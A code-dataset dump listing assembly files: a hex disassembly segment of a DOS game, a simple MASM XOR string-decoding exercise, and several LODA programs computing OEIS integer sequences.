hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
54f469847586755858eeecc0616905ceb2e6af6e
| 8,954
|
asm
|
Assembly
|
ZORTON.reko/ZORTON_1A08.asm
|
0xLiso/dePIXELator
|
d74a663e5cb41a404f2b714e262ce44b668d3632
|
[
"MIT"
] | null | null | null |
ZORTON.reko/ZORTON_1A08.asm
|
0xLiso/dePIXELator
|
d74a663e5cb41a404f2b714e262ce44b668d3632
|
[
"MIT"
] | null | null | null |
ZORTON.reko/ZORTON_1A08.asm
|
0xLiso/dePIXELator
|
d74a663e5cb41a404f2b714e262ce44b668d3632
|
[
"MIT"
] | 1
|
2021-03-10T22:29:06.000Z
|
2021-03-10T22:29:06.000Z
|
;;; Segment 1A08 (1A08:0000)
1A08:0000 C2 5D 5A 59 5B 5E CB C8 0C 00 00 68 01 80 1E 68 .]ZY[^.....h...h
1A08:0010 86 2F 9A 15 36 00 08 83 C4 06 89 46 FE 83 7E FE ./..6......F..~.
1A08:0020 FF 75 0C 1E 68 86 2F 9A F3 03 3F 26 83 C4 04 6A .u..h./...?&...j
1A08:0030 00 66 6A 04 FF 76 FE 9A AB 06 00 08 83 C4 08 66 .fj..v.........f
1A08:0040 A1 D4 A0 66 89 46 F8 68 C8 0A 66 FF 76 F8 FF 76 ...f.F.h..f.v..v
1A08:0050 FE 9A 87 3C 00 08 83 C4 08 81 46 F8 C8 0A 6A 01 ...<......F...j.
1A08:0060 66 6A 04 FF 76 FE 9A AB 06 00 08 83 C4 08 68 C8 fj..v.........h.
1A08:0070 0A 66 FF 76 F8 FF 76 FE 9A 87 3C 00 08 83 C4 08 .f.v..v...<.....
1A08:0080 81 46 F8 C8 0A 6A 01 66 6A 04 FF 76 FE 9A AB 06 .F...j.fj..v....
1A08:0090 00 08 83 C4 08 68 C8 0A 66 FF 76 F8 FF 76 FE 9A .....h..f.v..v..
1A08:00A0 87 3C 00 08 83 C4 08 81 46 F8 C8 0A 6A 01 66 6A .<......F...j.fj
1A08:00B0 04 FF 76 FE 9A AB 06 00 08 83 C4 08 68 C8 0A 66 ..v.........h..f
1A08:00C0 FF 76 F8 FF 76 FE 9A 87 3C 00 08 83 C4 08 81 46 .v..v...<......F
1A08:00D0 F8 C8 0A 6A 01 66 6A 04 FF 76 FE 9A AB 06 00 08 ...j.fj..v......
1A08:00E0 83 C4 08 68 30 07 66 FF 76 F8 FF 76 FE 9A 87 3C ...h0.f.v..v...<
1A08:00F0 00 08 83 C4 08 FF 76 FE 9A 93 2A 00 08 59 66 A1 ......v...*..Yf.
1A08:0100 D8 A0 66 89 46 F8 68 01 80 1E 68 93 2F 9A 15 36 ..f.F.h...h./..6
1A08:0110 00 08 83 C4 06 89 46 FE 83 7E FE FF 75 0C 1E 68 ......F..~..u..h
1A08:0120 93 2F 9A F3 03 3F 26 83 C4 04 6A 00 66 6A 04 FF ./...?&...j.fj..
1A08:0130 76 FE 9A AB 06 00 08 83 C4 08 68 C0 02 66 FF 76 v.........h..f.v
1A08:0140 F8 FF 76 FE 9A 87 3C 00 08 83 C4 08 FF 76 FE 9A ..v...<......v..
1A08:0150 93 2A 00 08 59 68 01 80 1E 68 9D 2F 9A 15 36 00 .*..Yh...h./..6.
1A08:0160 08 83 C4 06 89 46 FE 83 7E FE FF 75 0C 1E 68 9D .....F..~..u..h.
1A08:0170 2F 9A F3 03 3F 26 83 C4 04 6A 00 66 6A 04 FF 76 /...?&...j.fj..v
1A08:0180 FE 9A AB 06 00 08 83 C4 08 66 A1 CC A0 66 89 46 .........f...f.F
1A08:0190 F8 68 00 FA 66 FF 76 F8 FF 76 FE 9A 87 3C 00 08 .h..f.v..v...<..
1A08:01A0 83 C4 08 FF 76 FE 9A 93 2A 00 08 59 68 01 80 1E ....v...*..Yh...
1A08:01B0 68 AA 2F 9A 15 36 00 08 83 C4 06 89 46 FE 83 7E h./..6......F..~
1A08:01C0 FE FF 75 0C 1E 68 AA 2F 9A F3 03 3F 26 83 C4 04 ..u..h./...?&...
1A08:01D0 6A 00 66 6A 04 FF 76 FE 9A AB 06 00 08 83 C4 08 j.fj..v.........
1A08:01E0 66 A1 E8 A0 66 89 46 F8 C7 46 FC 00 00 EB 34 C4 f...f.F..F....4.
1A08:01F0 5E F8 26 C6 07 14 26 C6 47 01 00 26 C6 47 02 12 ^.&...&.G..&.G..
1A08:0200 26 C6 47 03 00 83 46 F8 04 68 68 01 66 FF 76 F8 &.G...F..hh.f.v.
1A08:0210 FF 76 FE 9A 87 3C 00 08 83 C4 08 81 46 F8 68 01 .v...<......F.h.
1A08:0220 FF 46 FC 83 7E FC 04 7C C6 FF 76 FE 9A 93 2A 00 .F..~..|..v...*.
1A08:0230 08 59 16 8D 46 F4 50 1E 68 B7 2F 1E 68 43 A1 1E .Y..F.P.h./.hC..
1A08:0240 68 B7 2F 9A 3E 03 3F 26 83 C4 10 A1 43 A1 05 02 h./.>.?&....C...
1A08:0250 00 FF 36 45 A1 50 C4 1E 43 A1 26 8A 47 01 B4 00 ..6E.P..C.&.G...
1A08:0260 50 26 8A 07 B4 00 50 9A 3B 04 76 24 83 C4 08 C9 P&....P.;.v$....
1A08:0270 CB C7 06 1F 2F 01 00 B8 BA 28 8E C0 26 A1 24 A5 ..../....(..&.$.
1A08:0280 A3 4C A1 B8 BA 28 8E C0 26 A1 26 A5 A3 4E A1 CB .L...(..&.&..N..
1A08:0290 C7 06 23 2F 01 00 B8 BA 28 8E C0 26 A1 24 A5 A3 ..#/....(..&.$..
1A08:02A0 4C A1 B8 BA 28 8E C0 26 A1 26 A5 A3 4E A1 CB C6 L...(..&.&..N...
1A08:02B0 06 1E 2F 01 CB C8 06 00 00 FA 9A E8 01 25 24 FB ../..........%$.
1A08:02C0 9A 67 01 31 23 0B C2 75 F7 66 C7 06 48 A1 1E BD .g.1#..u.f..H...
1A08:02D0 FF FF 66 68 18 3D 00 00 9A 38 1D 00 08 83 C4 04 ..fh.=...8......
1A08:02E0 89 16 D2 A0 A3 D0 A0 0B C2 75 13 66 FF 36 48 A1 .........u.f.6H.
1A08:02F0 1E 68 C2 2F 9A 3F 04 3F 26 83 C4 08 EB 09 66 81 .h./.?.?&.....f.
1A08:0300 2E 48 A1 18 3D 00 00 66 68 E8 35 00 00 9A 38 1D .H..=..fh.5...8.
1A08:0310 00 08 83 C4 04 89 16 D6 A0 A3 D4 A0 0B C2 75 11 ..............u.
1A08:0320 66 FF 36 48 A1 1E 68 D6 2F 9A 3F 04 3F 26 83 C4 f.6H..h./.?.?&..
1A08:0330 08 66 81 2E 48 A1 E8 35 00 00 66 68 EE 02 00 00 .f..H..5..fh....
1A08:0340 9A 38 1D 00 08 83 C4 04 89 16 DA A0 A3 D8 A0 0B .8..............
1A08:0350 C2 75 11 66 FF 36 48 A1 1E 68 E3 2F 9A 3F 04 3F .u.f.6H..h./.?.?
1A08:0360 26 83 C4 08 66 81 2E 48 A1 EE 02 00 00 B8 BA 28 &...f..H.......(
1A08:0370 8E C0 66 26 A1 82 A8 66 A3 CC A0 66 68 80 3E 00 ..f&...f...fh.>.
1A08:0380 00 9A 38 1D 00 08 83 C4 04 89 16 E6 A0 A3 E4 A0 ..8.............
1A08:0390 0B C2 75 11 66 FF 36 48 A1 1E 68 EC 2F 9A 3F 04 ..u.f.6H..h./.?.
1A08:03A0 3F 26 83 C4 08 66 81 2E 48 A1 80 3E 00 00 66 68 ?&...f..H..>..fh
1A08:03B0 B0 05 00 00 9A 38 1D 00 08 83 C4 04 89 16 EA A0 .....8..........
1A08:03C0 A3 E8 A0 0B C2 75 11 66 FF 36 48 A1 1E 68 FD 2F .....u.f.6H..h./
1A08:03D0 9A 3F 04 3F 26 83 C4 08 A1 EA A0 8B 16 E8 A0 81 .?.?&...........
1A08:03E0 C2 6C 01 A3 EE A0 89 16 EC A0 81 C2 6C 01 A3 F2 .l..........l...
1A08:03F0 A0 89 16 F0 A0 81 C2 6C 01 A3 F6 A0 89 16 F4 A0 .......l........
1A08:0400 8C 1E 15 A1 C7 06 13 A1 E8 A0 8C 1E 19 A1 C7 06 ................
1A08:0410 17 A1 EC A0 8C 1E 1D A1 C7 06 1B A1 F0 A0 8C 1E ................
1A08:0420 21 A1 C7 06 1F A1 F4 A0 8C 1E 4F 2F C7 06 4D 2F !.........O/..M/
1A08:0430 E8 A0 66 A1 13 A1 66 A3 4D 2F 0E E8 C9 FB C6 06 ..f...f.M/......
1A08:0440 47 A1 00 B8 62 28 8E C0 26 80 0E 00 00 20 C7 06 G...b(..&.... ..
1A08:0450 21 2F 00 00 B8 BA 28 8E C0 26 FF 36 24 A5 9A 2E !/....(..&.6$...
1A08:0460 08 00 08 59 9A AC 09 97 11 9A 82 02 76 24 66 FF ...Y........v$f.
1A08:0470 36 CC A0 66 FF 36 D8 A0 66 FF 36 D4 A0 FF 36 1F 6..f.6..f.6...6.
1A08:0480 2F 66 FF 36 D0 A0 9A E4 04 D5 18 83 C4 12 33 C0 /f.6..........3.
1A08:0490 A3 11 A1 A2 0C A1 1E 68 14 30 9A E3 02 9F 20 83 .......h.0.... .
1A08:04A0 C4 04 89 56 FE 89 46 FC B8 BA 28 8E C0 26 C7 06 ...V..F...(..&..
1A08:04B0 88 A1 01 00 B8 BA 28 8E C0 26 8C 1E 2E 30 26 C7 ......(..&...0&.
1A08:04C0 06 2C 30 45 2F FA 9A E8 01 25 24 FB 66 FF 36 CC .,0E/....%$.f.6.
1A08:04D0 A0 66 FF 36 E4 A0 9A FB 11 D5 18 83 C4 08 FA 9A .f.6............
1A08:04E0 86 02 25 24 FB 9A DC 04 D5 18 C6 06 1E 2F 00 C7 ..%$........./..
1A08:04F0 06 1F 2F 00 00 C7 06 23 2F 00 00 9A 90 23 00 08 ../....#/....#..
1A08:0500 0B C0 74 05 9A A6 20 00 08 B8 BA 28 8E C0 26 83 ..t... ....(..&.
1A08:0510 3E 88 A1 01 7D 31 8E C0 26 C7 06 88 A1 0A 00 A0 >...}1..&.......
1A08:0520 47 A1 FE C0 98 BB 04 00 99 F7 FB 88 16 47 A1 A0 G............G..
1A08:0530 47 A1 98 C1 E0 02 8B D8 8B 87 15 A1 8B 97 13 A1 G...............
1A08:0540 A3 4F 2F 89 16 4D 2F B8 BA 28 8E C0 26 C7 06 86 .O/..M/..(..&...
1A08:0550 A1 01 00 FF 36 1F 2F FF 36 4E A1 FF 36 4C A1 9A ....6./.6N..6L..
1A08:0560 07 07 D5 18 83 C4 06 C7 06 1F 2F 00 00 9A F8 0F ........../.....
1A08:0570 D5 18 FA 9A E8 01 25 24 FB 9A 38 11 D5 18 FA 9A ......%$..8.....
1A08:0580 86 02 25 24 FB C7 06 23 2F 00 00 9A 3F 08 00 08 ..%$...#/...?...
1A08:0590 A9 FF 00 75 19 B8 BA 28 8E C0 26 80 3E 22 A4 01 ...u...(..&.>"..
1A08:05A0 74 0C 66 FF 76 FC 9A 32 06 9F 20 83 C4 04 B8 BA t.f.v..2.. .....
1A08:05B0 28 8E C0 26 83 3E 86 A1 00 7D F3 A0 1E 2F B4 00 (..&.>...}.../..
1A08:05C0 0B C0 75 0A 83 3E 21 2F 00 75 03 E9 2D FF FA 9A ..u..>!/.u..-...
1A08:05D0 E8 01 25 24 FB 9A 38 11 D5 18 83 3E 21 2F 00 74 ..%$..8....>!/.t
1A08:05E0 05 9A 0F 00 94 10 66 FF 36 E4 A0 9A 9B 12 D5 18 ......f.6.......
1A08:05F0 83 C4 04 B8 BA 28 8E C0 66 26 C7 06 2C 30 00 00 .....(..f&..,0..
1A08:0600 00 00 83 3E 21 2F 00 74 03 E9 B1 00 66 6A 00 6A ...>!/.t....fj.j
1A08:0610 01 66 6A 00 6A 00 6A 01 6A 01 6A 00 6A 01 9A 04 .fj.j.j.j.j.j...
1A08:0620 00 53 23 83 C4 14 FA 9A 86 02 25 24 FB 9A 67 01 .S#.......%$..g.
1A08:0630 31 23 89 16 0A A1 A3 08 A1 0B C2 74 F0 C4 1E 08 1#.........t....
1A08:0640 A1 26 8A 07 B4 00 89 46 FA B9 04 00 BB 61 07 2E .&.....F.....a..
1A08:0650 8B 07 3B 46 FA 74 07 83 C3 02 E2 F3 EB 41 2E FF ..;F.t.......A..
1A08:0660 67 08 66 68 25 00 58 00 66 68 25 00 40 00 66 68 g.fh%.X.fh%.@.fh
1A08:0670 46 00 14 00 1E 68 1C 30 9A A3 00 31 0E 83 C4 10 F....h.0...1....
1A08:0680 0B C0 74 16 C6 06 0C A1 01 66 6A 00 6A 05 9A BA ..t......fj.j...
1A08:0690 00 31 23 83 C4 06 EB 07 EB 00 C6 06 1E 2F 00 A0 .1#........../..
1A08:06A0 0C A1 B4 00 0B C0 75 0A 80 3E 1E 2F 00 74 03 E9 ......u..>./.t..
1A08:06B0 7B FF 9A 67 01 31 23 0B C2 75 F7 EB 05 C6 06 0C {..g.1#..u......
1A08:06C0 A1 01 A0 0C A1 B4 00 0B C0 75 03 E9 E6 FD FA 9A .........u......
1A08:06D0 E8 01 25 24 FB 9A 62 03 76 24 66 6A 00 6A 05 9A ..%$..b.v$fj.j..
1A08:06E0 BA 00 31 23 83 C4 06 66 FF 36 D0 A0 9A 24 1C 00 ..1#...f.6...$..
1A08:06F0 08 83 C4 04 66 FF 36 D4 A0 9A 24 1C 00 08 83 C4 ....f.6...$.....
1A08:0700 04 66 FF 36 E4 A0 9A 24 1C 00 08 83 C4 04 66 FF .f.6...$......f.
1A08:0710 36 D8 A0 9A 24 1C 00 08 83 C4 04 66 FF 36 E8 A0 6...$......f.6..
1A08:0720 9A 24 1C 00 08 83 C4 04 66 FF 36 43 A1 9A 24 1C .$......f.6C..$.
1A08:0730 00 08 83 C4 04 C4 5E FC 66 26 FF 77 02 9A 24 1C ......^.f&.w..$.
1A08:0740 00 08 83 C4 04 66 FF 76 FC 9A 24 1C 00 08 83 C4 .....f.v..$.....
1A08:0750 04 B8 62 28 8E C0 26 80 26 00 00 DF A1 21 2F C9 ..b(..&.&....!/.
1A08:0760 CB 03 00 04 00 05 00 10 00 62 06 9A 06 62 06 9A .........b...b..
| 74
| 74
| 0.570583
|
932db87824eab90e224f3c991e9746db12e45004
| 2,157
|
asm
|
Assembly
|
programs/oeis/117/A117081.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/117/A117081.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/117/A117081.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A117081: a(n) = 36*n^2 - 810*n + 2753, producing the conjectured record number of 45 primes in a contiguous range of n for quadratic polynomials, i.e., abs(a(n)) is prime for 0 <= n < 44.
; 2753,1979,1277,647,89,-397,-811,-1153,-1423,-1621,-1747,-1801,-1783,-1693,-1531,-1297,-991,-613,-163,359,953,1619,2357,3167,4049,5003,6029,7127,8297,9539,10853,12239,13697,15227,16829,18503,20249,22067,23957,25919,27953,30059,32237,34487,36809,39203,41669,44207,46817,49499,52253,55079,57977,60947,63989,67103,70289,73547,76877,80279,83753,87299,90917,94607,98369,102203,106109,110087,114137,118259,122453,126719,131057,135467,139949,144503,149129,153827,158597,163439,168353,173339,178397,183527,188729,194003,199349,204767,210257,215819,221453,227159,232937,238787,244709,250703,256769,262907,269117,275399,281753,288179,294677,301247,307889,314603,321389,328247,335177,342179,349253,356399,363617,370907,378269,385703,393209,400787,408437,416159,423953,431819,439757,447767,455849,464003,472229,480527,488897,497339,505853,514439,523097,531827,540629,549503,558449,567467,576557,585719,594953,604259,613637,623087,632609,642203,651869,661607,671417,681299,691253,701279,711377,721547,731789,742103,752489,762947,773477,784079,794753,805499,816317,827207,838169,849203,860309,871487,882737,894059,905453,916919,928457,940067,951749,963503,975329,987227,999197,1011239,1023353,1035539,1047797,1060127,1072529,1085003,1097549,1110167,1122857,1135619,1148453,1161359,1174337,1187387,1200509,1213703,1226969,1240307,1253717,1267199,1280753,1294379,1308077,1321847,1335689,1349603,1363589,1377647,1391777,1405979,1420253,1434599,1449017,1463507,1478069,1492703,1507409,1522187,1537037,1551959,1566953,1582019,1597157,1612367,1627649,1643003,1658429,1673927,1689497,1705139,1720853,1736639,1752497,1768427,1784429,1800503,1816649,1832867,1849157,1865519,1881953,1898459,1915037,1931687,1948409,1965203,1982069,1999007,2016017,2033099
mov $2,$0
trn $5,$0
add $0,8
mov $3,4
mov $4,1
mov $6,$2
lpb $0,1
mov $0,1
mul $3,5
add $4,$6
sub $4,$3
add $5,$4
lpe
mul $2,3
add $2,$5
sub $4,7
mov $1,$4
add $5,1
mul $5,$2
add $1,$5
sub $1,20
div $1,2
mul $1,18
add $1,89
| 77.035714
| 1,731
| 0.796477
|
320bc9512bf4871109d801b2ca7da5a8d914cbda
| 288
|
asm
|
Assembly
|
programs/oeis/099/A099895.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/099/A099895.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/099/A099895.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A099895: XOR BINOMIAL transform of A000069 (Odious numbers).
; 1,3,5,0,9,0,0,0,17,0,0,0,0,0,0,0,33,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,65,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,129
add $0,1
mul $0,2
mov $1,2
sub $1,$0
sub $2,$1
add $0,$2
bin $1,$2
mod $1,$0
mov $0,$1
| 22.153846
| 136
| 0.569444
|
f6c85f69ab72cdd84a6e925ee9a1d707e5cf10a3
| 622
|
asm
|
Assembly
|
programs/oeis/187/A187577.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/187/A187577.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/187/A187577.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A187577: Complement of A187576.
; 3,6,9,10,13,16,19,22,25,26,29,32,35,36,39,42,45,48,51,52,55,58,61,64,67,68,71,74,77,78,81,84,87,90,93,94,97,100,103,104,107,110,113,116,119,120,123,126,129,132,135,136,139,142,145,146,149,152,155,158,161,162,165,168,171,174,177,178,181,184,187,188,191,194,197,200,203,204,207,210,213,214,217,220
mov $3,$0
add $3,1
mov $6,$0
lpb $3
mov $0,$6
sub $3,1
sub $0,$3
add $0,1
lpb $0
mov $2,$0
mov $0,0
seq $2,284620 ; {00->2}-transform of the infinite Fibonacci word A003849.
mov $4,$2
min $4,1
lpe
mov $5,$4
mul $5,2
add $5,1
add $1,$5
lpe
mov $0,$1
| 24.88
| 297
| 0.622186
|
5d3851375cd096c7c25da26921f48d66b6a21e78
| 614
|
asm
|
Assembly
|
oeis/059/A059162.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/059/A059162.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/059/A059162.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A059162: A hierarchical sequence (S(W'2{3}*c) - see A059126).
; 12,48,144,384,960,2304,5376,12288,27648,61440,135168,294912,638976,1376256,2949120,6291456,13369344,28311552,59768832,125829120,264241152,553648128,1157627904,2415919104,5033164800,10468982784,21743271936,45097156608,93415538688,193273528320,399431958528,824633720832,1700807049216,3504693313536,7215545057280,14843406974976,30511447670784,62672162783232,128642860449792,263882790666240,540959720865792,1108307720798208,2269391999729664,4644337115725824,9499780463984640,19421773393035264
mov $1,2
pow $1,$0
add $0,1
mul $1,$0
mul $1,12
mov $0,$1
| 61.4
| 490
| 0.84202
|
274de95315a2767a659216164d84d3f99d3beb36
| 679
|
asm
|
Assembly
|
programs/oeis/164/A164356.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/164/A164356.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/164/A164356.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A164356: Expansion of (1 - x^2)^4 / ((1 - x)^4 * (1 - x^4)) in powers of x.
; 1,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4,6,4,2,4
mov $1,1
mov $2,4
lpb $0
sub $0,1
mov $3,$1
mov $1,$2
mov $2,6
trn $3,2
sub $2,$3
lpe
| 48.5
| 501
| 0.494845
|
b039990e17c1d6b47ba5e3c1fdd08dc8c65ae095
| 236
|
asm
|
Assembly
|
Notes/Protect/chapter5/div.asm
|
Richyeoh/Assembly
|
703117d42aa3ee89bab2088b136caeb9e23a2d30
|
[
"Apache-2.0"
] | 11
|
2019-01-25T07:39:17.000Z
|
2019-05-24T11:41:06.000Z
|
Notes/Protect/chapter5/div.asm
|
Richyeohx/Assembly
|
703117d42aa3ee89bab2088b136caeb9e23a2d30
|
[
"Apache-2.0"
] | null | null | null |
Notes/Protect/chapter5/div.asm
|
Richyeohx/Assembly
|
703117d42aa3ee89bab2088b136caeb9e23a2d30
|
[
"Apache-2.0"
] | 1
|
2019-01-24T04:45:17.000Z
|
2019-01-24T04:45:17.000Z
|
;16位除法计算
;ax为被除数,计算完成后,商放在al中,余数放在ah中
mov al,0x07
mov bl,0x02
div bl
;32位除法计算
;由于在16位CPU中无法表示32位数,所以使用DX和AX一起使用,被除数高位放在DX中,地位放在AX中
;计算完成后,商放在AX中,余数放在DX中
mov dx,0x1176
mov ax,0x1164
mov bx,0x1112
div bx
| 13.111111
| 52
| 0.699153
|
5044223033e488b17cfb04da803d8d3486a360d9
| 449
|
asm
|
Assembly
|
OTPDecode/otpdecode.asm
|
officialhory/uni_masm
|
086d539dbb2aeee2036a1d9bb1a24008f9f77b69
|
[
"MIT"
] | null | null | null |
OTPDecode/otpdecode.asm
|
officialhory/uni_masm
|
086d539dbb2aeee2036a1d9bb1a24008f9f77b69
|
[
"MIT"
] | null | null | null |
OTPDecode/otpdecode.asm
|
officialhory/uni_masm
|
086d539dbb2aeee2036a1d9bb1a24008f9f77b69
|
[
"MIT"
] | null | null | null |
Code Segment
assume CS:Code, DS:Data, SS:Stack
Start:
MOV AX, Code
MOV DS, AX
MOV AX, 0003h
INT 10h
MOV DI, offset secret
MOV SI, offset key
MOV AH, 02
MOV CX, 11
DECODE:
MOV DX, [SI]
XOR DX, [DI]
INC DI
INC SI
INT 21h
LOOP DECODE
END_OF_PROGRAM:
MOV AX, 4c00h
INT 21h
secret db "- 91g.r2#85"
key db "AIRTGORPLKF"
Code Ends
Data Segment
Data Ends
Stack Segment
Stack Ends
End Start
| 10.690476
| 34
| 0.625835
|
36820885bc4244d5194860c26a7158ee930004f7
| 669
|
asm
|
Assembly
|
oeis/103/A103327.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/103/A103327.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/103/A103327.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A103327: Triangle read by rows: T(n,k) = binomial(2n+1, 2k+1).
; Submitted by Christian Krause
; 1,3,1,5,10,1,7,35,21,1,9,84,126,36,1,11,165,462,330,55,1,13,286,1287,1716,715,78,1,15,455,3003,6435,5005,1365,105,1,17,680,6188,19448,24310,12376,2380,136,1,19,969,11628,50388,92378,75582,27132,3876,171,1,21,1330,20349,116280,293930,352716,203490,54264,5985,210,1,23,1771,33649,245157,817190,1352078,1144066,490314,100947,8855,253,1,25,2300,53130,480700,2042975,4457400,5200300,3268760,1081575,177100,12650,300,1,27,2925,80730,888030,4686825,13037895,20058300,17383860,8436285
mul $0,2
add $0,1
mov $1,1
lpb $0
add $1,1
sub $0,$1
add $1,1
lpe
bin $1,$0
mov $0,$1
| 44.6
| 478
| 0.735426
|
d8e5bf53aebba2796061ecf21ab972204d47c6a5
| 697
|
asm
|
Assembly
|
oeis/055/A055988.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/055/A055988.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/055/A055988.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A055988: Sequence is its own 4th difference.
; Submitted by Jon Maiga
; 1,2,7,26,95,345,1252,4544,16493,59864,217286,788674,2862617,10390321,37713313,136886433,496850954,1803399103,6545722210,23758733815,86236081273,313007493212,1136110191472,4123691589365,14967590689568,54327237184326,197189297950210,715729737814001,2597854259416481,9429322824814913,34225218220881473,124225841455369810,450897334991403383,1636603176283509034,5940310019069722639,21561294536157802713,78260127936513310484,284057509365615117664,1031031647334557213629,3742292397688990801384
mov $3,$0
lpb $0
lpb $3
mov $2,$0
add $0,3
bin $2,$3
add $1,$2
sub $3,1
lpe
div $0,67
lpe
mov $0,$1
add $0,1
| 38.722222
| 488
| 0.806313
|
78c40ddfc9fe14bc67efb7b5948a198ec3cc149c
| 1,251
|
asm
|
Assembly
|
programs/oeis/055/A055802.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
